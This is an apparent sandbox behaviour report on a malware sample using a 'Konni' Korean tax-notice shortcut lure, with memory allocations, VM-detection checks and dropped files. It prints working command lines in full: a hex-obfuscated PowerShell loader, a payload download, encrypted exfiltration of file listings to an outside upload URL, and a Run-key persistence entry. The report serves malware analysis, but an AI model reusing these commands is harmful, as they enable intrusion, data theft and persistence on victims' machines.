NtAllocateVirtualMemory Sept. 4, 2023, 10:57 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f22000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 10:57 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02971000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 10:57 a.m.	process_identifier: 2776 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02972000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 10:57 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f4a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 10:57 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f23000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 10:57 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f24000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 10:57 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f5b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 10:57 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f57000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 10:57 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01edb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 10:57 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f42000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 10:57 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f55000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 10:57 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f25000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 10:57 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f4c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 10:57 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02860000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 10:57 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f26000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 10:57 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f5c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 10:57 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f43000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 10:57 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f44000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 10:57 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f45000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 10:57 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f46000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 10:57 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f47000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 10:57 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f48000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 10:57 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01f49000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 10:57 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a60000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 10:57 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a61000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 10:57 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a62000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 10:57 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a63000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 10:57 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a64000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 10:57 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a65000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 10:57 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a66000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 10:57 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a67000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 10:57 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a68000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 10:57 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a69000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 10:57 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a6a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 10:57 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a6b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 10:57 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a6c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 10:57 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a6d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 10:57 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a6e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 10:57 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a6f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 10:57 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a70000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 10:57 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a71000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 10:57 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a72000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 10:57 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a73000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 4, 2023, 10:57 a.m.	process_identifier: 2776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a74000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Checks whether any human activity is being performed by constantly checking whether the foreground window changed

Queries the disk size which could be used to detect virtual machine with small fixed size or dynamic allocation (6 events)

Time & API	Arguments	Status	Return
GetDiskFreeSpaceExW Sept. 4, 2023, 10:58 a.m.	total_number_of_free_bytes: 13319823360 free_bytes_available: 13319823360 root_path: C:\Users\test22\downloads total_number_of_bytes: 34252779520	1	1
GetDiskFreeSpaceExW Sept. 4, 2023, 10:58 a.m.	total_number_of_free_bytes: 13319811072 free_bytes_available: 13319811072 root_path: C:\Users\test22\documents total_number_of_bytes: 34252779520	1	1
GetDiskFreeSpaceExW Sept. 4, 2023, 10:58 a.m.	total_number_of_free_bytes: 13319811072 free_bytes_available: 13319811072 root_path: C:\Users\test22\desktop total_number_of_bytes: 34252779520	1	1
GetDiskFreeSpaceExW Sept. 4, 2023, 10:58 a.m.	total_number_of_free_bytes: 13319147520 free_bytes_available: 13319147520 root_path: C:\Users\test22\downloads total_number_of_bytes: 34252779520	1	1
GetDiskFreeSpaceExW Sept. 4, 2023, 10:58 a.m.	total_number_of_free_bytes: 13319147520 free_bytes_available: 13319147520 root_path: C:\Users\test22\documents total_number_of_bytes: 34252779520	1	1
GetDiskFreeSpaceExW Sept. 4, 2023, 10:58 a.m.	total_number_of_free_bytes: 13319147520 free_bytes_available: 13319147520 root_path: C:\Users\test22\desktop total_number_of_bytes: 34252779520	1	1

Creates executable files on the filesystem (8 events)

file	C:\Users\Public\Documents\39910263.bat
file	C:\Users\Public\Documents\10912631.bat
file	C:\Users\Public\Documents\59239312.bat
file	C:\Users\Public\Documents\69506645.bat
file	C:\Users\Public\Documents\03909174.bat
file	C:\Users\Public\Documents\start.vbs
file	C:\Users\Public\Documents\10380018.bat
file	C:\Users\Public\Documents\unzip.exe

Creates a shortcut to an executable file (3 events)

file	C:\Users\Public\Documents\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
file	C:\Users\test22\AppData\Local\Temp\Konni_종합소득세 해명자료 제출 안내.lnk

Creates a suspicious process (7 events)

cmdline	"C:\Windows\system32\cmd.exe" /c kLAimNRUoEGuatlUuOKkLLLwVCMvhezlxBGZbIyumICTZzlcbtwSXzTaUTdtXdrCkKpsDzfNVgPktpqbuxogRqLFconpPdMhSkUTqokuzEMGupdlsPXOzXXRDMCoYSeMmfhGAcsodnWboJlPsrwN\|\|goto&p^ow^e^rs^he^l^l -windowstyle hidden $dedicte="$loped='247772726D6D706649203D204765742D4C6F636174696F6E3B244F70586F464574654845596D6A68467A66203D204765742D4368696C644974656D202D5061746820247772726D6D706649202D52656375727365202A2E6C6E6B207C2077686572652D6F626A656374207B245F2E6C656E677468202D6571202D457772726D2D7D207C2053656C6563742D4F626A656374202D457870616E6450726F70657274792046756C6C4E616D653B696628244F70586F464574654845596D6A68467A662E6C656E677468202D6571203029207B247772726D6D706649203D2024656E763A54656D703B244F70586F464574654845596D6A68467A66203D204765742D4368696C644974656D202D5061746820247772726D6D706649202D52656375727365202A2E6C6E6B207C2077686572652D6F626A656374207B245F2E6C656E677468202D6571202D457772726D2D7D207C2053656C6563742D4F626A656374202D457870616E6450726F70657274792046756C6C4E616D653B7D3B247772726D6D706649203D2053706C69742D5061746820244F70586F464574654845596D6A68467A663B24426E785667756D4768203D204E65772D4F626A6563742053797374656D2E494F2E46696C6553747265616D28244F70586F464574654845596D6A68467A662C205B53797374656D2E494F2E46696C654D6F64655D3A3A4F70656E2C205B53797374656D2E494F2E46696C654163636573735D3A3A52656164293B24426E785667756D47682E5365656B282D6D706649544F2D2C205B53797374656D2E494F2E5365656B4F726967696E5D3A3A426567696E293B247643474B7046637A734A6153203D204E65772D4F626A65637420627974655B5D202D70586F464574652D3B24426E785667756D47682E5265616428247643474B7046637A734A61532C20302C202D70586F464574652D293B246C47794E7573745952434B6C4E726273203D20244F70586F464574654845596D6A68467A662E737562737472696E6728302C244F70586F464574654845596D6A68467A662E6C656E6774682D34293B666F722824693D303B2469202D6C7420247643474B7046637A734A61532E636F756E743B24692B2B29207B20247643474B7046637A734A61535B24695D203D20247643474B7046637A734A61535B24695D202D62786F722030783737207D20736320246C47794E7573745952434B6C4E72627320247643474B7046637A734A6153202D456E636F64696E6720427974653B2620246C47794E7573745952434B6C4E7262733B24426E785667756D47682E5365656B282D4845596D6A68467A2D2C205B53797374656D2E494F2E5365656B4F726967696E5D3A3A426567696E293B2473576248676D7A6F7A415261423D4E65772D4F626A65637420627974655B5D202D6654426E785667756D2D3B24426E785667756D47682E52656164282473576248676D7A6F7A415261422C20302C202D6654426E785667756D2D293B24426E785667756D47682E436C6F736528293B52656D6F76652D4974656D202D5061746820244F70586F464574654845596D6A68467A66202D466F7263653B24704C416A6674626F72484A7A546D74443D24656E763A7075626C6963202B20275C27202B20272D4768517643474B7046632D273B666F722824693D303B2469202D6C74202473576248676D7A6F7A415261422E636F756E743B24692B2B29207B202473576248676D7A6F7A415261425B24695D203D202473576248676D7A6F7A415261425B24695D202D62786F722030783737207D73632024704C416A6674626F72484A7A546D7444202473576248676D7A6F7A41526142202D456E636F64696E6720427974653B24705044764F767164764D4F7859203D206E65772D6F626A656374202D636F6D207368656C6C2E6170706C69636174696F6E3B2473505075774B4B49517A203D2024705044764F767164764D4F78592E4E616D6573706163652824704C416A6674626F72484A7A546D7444293B24705044764F767164764D4F78592E4E616D6573706163652824656E763A7075626C6963202B20275C27202B2027646F63756D656E747327292E436F707948657265282473505075774B4B49517A2E6974656D7328292C203130343429207C206F75742D6E756C6C3B72656D6F76652D6974656D202D706174682024704C416A6674626F72484A7A546D7444202D666F7263653B2461756A6E7664444D6D566A726A4D4B673D24656E763A7075626C69632B275C646F63756D656E74735C73746172742E766273273B26202461756A6E7664444D6D566A726A4D4B673B';$bytes = for($i = 0; $i -lt $loped.Length;$i += 2){[System.Convert]::ToByte($loped.Substring($i, 2), 16);};$hoikd = [System.Text.Encoding]::ASCII.GetString($bytes);$hoikd = $hoikd -replace '-Ewrrm-', '0x001ABC72';$hoikd = $hoikd -replace '-mpfITO-', '0x00003A7E';$hoikd = $hoikd -replace '-pXoFEte-', '0x00014000';$hoikd = $hoikd -replace '-HEYmjhFz-', '0x00017A7E';$hoikd = $hoikd -replace '-fTBnxVgum-', '0x0001456B';$hoikd = $hoikd -replace '-GhQvCGKpFc-', '14897.zip';Invoke-Expression $hoikd;";Invoke-Expression $dedicte;
cmdline	powershell -windowstyle hidden $dedicte="$loped='247772726D6D706649203D204765742D4C6F636174696F6E3B244F70586F464574654845596D6A68467A66203D204765742D4368696C644974656D202D5061746820247772726D6D706649202D52656375727365202A2E6C6E6B207C2077686572652D6F626A656374207B245F2E6C656E677468202D6571202D457772726D2D7D207C2053656C6563742D4F626A656374202D457870616E6450726F70657274792046756C6C4E616D653B696628244F70586F464574654845596D6A68467A662E6C656E677468202D6571203029207B247772726D6D706649203D2024656E763A54656D703B244F70586F464574654845596D6A68467A66203D204765742D4368696C644974656D202D5061746820247772726D6D706649202D52656375727365202A2E6C6E6B207C2077686572652D6F626A656374207B245F2E6C656E677468202D6571202D457772726D2D7D207C2053656C6563742D4F626A656374202D457870616E6450726F70657274792046756C6C4E616D653B7D3B247772726D6D706649203D2053706C69742D5061746820244F70586F464574654845596D6A68467A663B24426E785667756D4768203D204E65772D4F626A6563742053797374656D2E494F2E46696C6553747265616D28244F70586F464574654845596D6A68467A662C205B53797374656D2E494F2E46696C654D6F64655D3A3A4F70656E2C205B53797374656D2E494F2E46696C654163636573735D3A3A52656164293B24426E785667756D47682E5365656B282D6D706649544F2D2C205B53797374656D2E494F2E5365656B4F726967696E5D3A3A426567696E293B247643474B7046637A734A6153203D204E65772D4F626A65637420627974655B5D202D70586F464574652D3B24426E785667756D47682E5265616428247643474B7046637A734A61532C20302C202D70586F464574652D293B246C47794E7573745952434B6C4E726273203D20244F70586F464574654845596D6A68467A662E737562737472696E6728302C244F70586F464574654845596D6A68467A662E6C656E6774682D34293B666F722824693D303B2469202D6C7420247643474B7046637A734A61532E636F756E743B24692B2B29207B20247643474B7046637A734A61535B24695D203D20247643474B7046637A734A61535B24695D202D62786F722030783737207D20736320246C47794E7573745952434B6C4E72627320247643474B7046637A734A6153202D456E636F64696E6720427974653B2620246C47794E7573745952434B6C4E7262733B24426E785667756D47682E5365656B282D4845596D6A68467A2D2C205B53797374656D2E494F2E5365656B4F726967696E5D3A3A426567696E293B2473576248676D7A6F7A415261423D4E65772D4F626A65637420627974655B5D202D6654426E785667756D2D3B24426E785667756D47682E52656164282473576248676D7A6F7A415261422C20302C202D6654426E785667756D2D293B24426E785667756D47682E436C6F736528293B52656D6F76652D4974656D202D5061746820244F70586F464574654845596D6A68467A66202D466F7263653B24704C416A6674626F72484A7A546D74443D24656E763A7075626C6963202B20275C27202B20272D4768517643474B7046632D273B666F722824693D303B2469202D6C74202473576248676D7A6F7A415261422E636F756E743B24692B2B29207B202473576248676D7A6F7A415261425B24695D203D202473576248676D7A6F7A415261425B24695D202D62786F722030783737207D73632024704C416A6674626F72484A7A546D7444202473576248676D7A6F7A41526142202D456E636F64696E6720427974653B24705044764F767164764D4F7859203D206E65772D6F626A656374202D636F6D207368656C6C2E6170706C69636174696F6E3B2473505075774B4B49517A203D2024705044764F767164764D4F78592E4E616D6573706163652824704C416A6674626F72484A7A546D7444293B24705044764F767164764D4F78592E4E616D6573706163652824656E763A7075626C6963202B20275C27202B2027646F63756D656E747327292E436F707948657265282473505075774B4B49517A2E6974656D7328292C203130343429207C206F75742D6E756C6C3B72656D6F76652D6974656D202D706174682024704C416A6674626F72484A7A546D7444202D666F7263653B2461756A6E7664444D6D566A726A4D4B673D24656E763A7075626C69632B275C646F63756D656E74735C73746172742E766273273B26202461756A6E7664444D6D566A726A4D4B673B';$bytes = for($i = 0; $i -lt $loped.Length;$i += 2){[System.Convert]::ToByte($loped.Substring($i, 2), 16);};$hoikd = [System.Text.Encoding]::ASCII.GetString($bytes);$hoikd = $hoikd -replace '-Ewrrm-', '0x001ABC72';$hoikd = $hoikd -replace '-mpfITO-', '0x00003A7E';$hoikd = $hoikd -replace '-pXoFEte-', '0x00014000';$hoikd = $hoikd -replace '-HEYmjhFz-', '0x00017A7E';$hoikd = $hoikd -replace '-fTBnxVgum-', '0x0001456B';$hoikd = $hoikd -replace '-GhQvCGKpFc-', '14897.zip';Invoke-Expression $hoikd;";Invoke-Expression $dedicte;
cmdline	powershell -command "$url = 'https://file.drive002.com/read/get.php?cu=ln3&so=xu6502';$DbSkKATDIdemOXdG = 'C:\Users\Public\Documents\77583.zip';iwr -Uri $url -OutFile $DbSkKATDIdemOXdG;"
cmdline	powershell -command "function ESTR{param ([Parameter(Mandatory=$true)] [string]$PlainText,[Parameter(Mandatory=$true)] [string]$Key);$plainBytes = [System.Text.Encoding]::UTF8.GetBytes($PlainText); $keyBytes = [System.Text.Encoding]::UTF8.GetBytes($Key);$s = New-Object byte[](256);$k = New-Object byte[](256);for ($i = 0; $i -lt 256; $i++) {$s[$i] = $i;$k[$i] = $keyBytes[$i % $keyBytes.Length];}$j = 0;for ($i = 0; $i -lt 256; $i++) {$j = ($j + $s[$i] + $k[$i]) % 256;$temp = $s[$i];$s[$i] = $s[$j];$s[$j] = $temp;}$encryptedBytes = New-Object byte[] $plainBytes.Length;$i = 0;$j = 0;for ($n = 0; $n -lt $plainBytes.Length; $n++) {$i = ($i + 1) % 256;$j = ($j + $s[$i]) % 256;$temp = $s[$i];$s[$i] = $s[$j];$s[$j] = $temp;$t = ($s[$i] + $s[$j]) % 256;$encryptedBytes[$n] = $plainBytes[$n] -bxor $s[$t];}$encryptedString = [System.Convert]::ToBase64String($encryptedBytes);return $encryptedString;}$key=(Get-Date).Ticks.ToString();$cxKIDwmZkAoWZwMY='http://serviceset.net/upload.php';$fn='TEST22-PC_cuserdown.txt';$fp='C:\Users\Public\Documents\cuserdown.txt';$dt=gc -Path $fp -Raw \| Out-String;Add-Type -AssemblyName 'System.Web';$fn=ESTR -PlainText $fn -Key $key;$dt=ESTR -PlainText $dt -Key $key;$query = [System.Web.HttpUtility]::ParseQueryString('');$query['fn']=$fn;$query['fd']=$dt;$query['r']=$key;$b=$query.ToString();$ba=[System.Text.Encoding]::UTF8.GetBytes($b);$r=[System.Net.WebRequest]::Create($cxKIDwmZkAoWZwMY);$r.Method='POST';$r.ContentType='application/x-www-form-urlencoded';$r.ContentLength=$ba.Length;$rS = $r.GetRequestStream();$rS.Write($ba,0,$ba.Length);$rS.Close();$rp=$r.GetResponse();if($rp.StatusCode -eq [System.Net.HttpStatusCode]::OK){Remove-Item -Path $fp;$fpok='C:\Users\Public\Documents\upok.txt';New-Item -ItemType File -Path $fpok;}"
cmdline	powershell -command "function ESTR{param ([Parameter(Mandatory=$true)] [string]$PlainText,[Parameter(Mandatory=$true)] [string]$Key);$plainBytes = [System.Text.Encoding]::UTF8.GetBytes($PlainText); $keyBytes = [System.Text.Encoding]::UTF8.GetBytes($Key);$s = New-Object byte[](256);$k = New-Object byte[](256);for ($i = 0; $i -lt 256; $i++) {$s[$i] = $i;$k[$i] = $keyBytes[$i % $keyBytes.Length];}$j = 0;for ($i = 0; $i -lt 256; $i++) {$j = ($j + $s[$i] + $k[$i]) % 256;$temp = $s[$i];$s[$i] = $s[$j];$s[$j] = $temp;}$encryptedBytes = New-Object byte[] $plainBytes.Length;$i = 0;$j = 0;for ($n = 0; $n -lt $plainBytes.Length; $n++) {$i = ($i + 1) % 256;$j = ($j + $s[$i]) % 256;$temp = $s[$i];$s[$i] = $s[$j];$s[$j] = $temp;$t = ($s[$i] + $s[$j]) % 256;$encryptedBytes[$n] = $plainBytes[$n] -bxor $s[$t];}$encryptedString = [System.Convert]::ToBase64String($encryptedBytes);return $encryptedString;}$key=(Get-Date).Ticks.ToString();$cxKIDwmZkAoWZwMY='http://serviceset.net/upload.php';$fn='TEST22-PC_cuserdesk.txt';$fp='C:\Users\Public\Documents\cuserdesk.txt';$dt=gc -Path $fp -Raw \| Out-String;Add-Type -AssemblyName 'System.Web';$fn=ESTR -PlainText $fn -Key $key;$dt=ESTR -PlainText $dt -Key $key;$query = [System.Web.HttpUtility]::ParseQueryString('');$query['fn']=$fn;$query['fd']=$dt;$query['r']=$key;$b=$query.ToString();$ba=[System.Text.Encoding]::UTF8.GetBytes($b);$r=[System.Net.WebRequest]::Create($cxKIDwmZkAoWZwMY);$r.Method='POST';$r.ContentType='application/x-www-form-urlencoded';$r.ContentLength=$ba.Length;$rS = $r.GetRequestStream();$rS.Write($ba,0,$ba.Length);$rS.Close();$rp=$r.GetResponse();if($rp.StatusCode -eq [System.Net.HttpStatusCode]::OK){Remove-Item -Path $fp;$fpok='C:\Users\Public\Documents\upok.txt';New-Item -ItemType File -Path $fpok;}"
cmdline	reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v svchostno2 /t REG_SZ /d "C:\Users\Public\Documents\start.vbs" /f
